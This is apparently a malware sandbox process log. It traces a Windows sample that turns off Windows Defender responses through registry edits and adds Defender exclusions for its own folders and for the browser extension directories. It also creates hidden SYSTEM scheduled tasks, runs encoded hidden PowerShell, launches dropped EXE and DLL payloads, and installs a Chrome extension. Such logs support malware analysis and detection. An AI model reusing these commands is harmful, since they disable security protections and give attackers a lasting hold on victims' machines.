C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1396 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
PID:4872 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:2244
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:3432
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:1328
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:932
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:392
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:3788
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:3320
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:3228
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:4800
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:1048
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:2492
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:952
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:4224
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:4668
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:2036
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:1560
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:3704
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:1896
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:2656
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:4232
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:3928
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:4372
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:3804
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:2432
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:3832
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:716
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:4420
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:4588
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4164 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:323⤵PID:2684
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:324⤵PID:3036
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:643⤵PID:2764
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:323⤵PID:2096
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:643⤵PID:560
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:323⤵PID:2784
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:643⤵PID:2392
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:323⤵PID:1044
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:643⤵PID:864
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:323⤵PID:4764
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:643⤵PID:436
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:323⤵PID:1404
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:643⤵PID:1408
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:2868
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:1188
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:1948
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:4612
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:323⤵PID:2500
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:643⤵PID:900
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:323⤵PID:4280
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:643⤵PID:4876
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gMLAyRIKf" /SC once /ST 01:31:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
PID:4412
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gMLAyRIKf"2⤵PID:3544
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gMLAyRIKf"2⤵PID:3308
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "MWViHNuTpmRlpInKg" /SC once /ST 00:10:55 /RU "SYSTEM" /TR "\"C:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\daaPwtm.exe\" Ci /Adsite_idbTs 385118 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3016
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "MWViHNuTpmRlpInKg"2⤵PID:332
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3292 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:4740
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:2356
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:2384
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:572
-
C:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\daaPwtm.exeC:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\daaPwtm.exe Ci /Adsite_idbTs 385118 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4600 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bpJjqbWMDOjxkYrvBb"2⤵PID:3736
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵PID:4852
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵PID:4304
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True4⤵PID:4580
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3608 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2232
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\qBvbbKpBU\kLLbZH.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "wbeMFPOaxEodGIM" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1480
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "wbeMFPOaxEodGIM2" /F /xml "C:\Program Files (x86)\qBvbbKpBU\DEqklWO.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1200
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "wbeMFPOaxEodGIM"2⤵PID:2724
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "wbeMFPOaxEodGIM"2⤵PID:3244
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ahmsGQGyepwQnm" /F /xml "C:\Program Files (x86)\fZHZowTYSgfU2\BaSMZgS.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4304
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NOwjEMTwOUYCj2" /F /xml "C:\ProgramData\nxeoDZreGracWIVB\axofhyl.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:3760
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ZeWhkVIxDswmIVkZF2" /F /xml "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\XvHXZAA.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1044
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "rhpwGKPBtZLjUbFdohf2" /F /xml "C:\Program Files (x86)\epUZFeichsCPC\GlGomVo.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1508
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BinjFlxHFUMMGNOij" /SC once /ST 04:42:50 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\JHEwijpMlSQrgvQB\iwylrPXt\QdcQzQC.dll\",#1 /fgsite_idvFn 385118" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4632
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "BinjFlxHFUMMGNOij"2⤵PID:4280
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "MWViHNuTpmRlpInKg"2⤵PID:1784
-
-
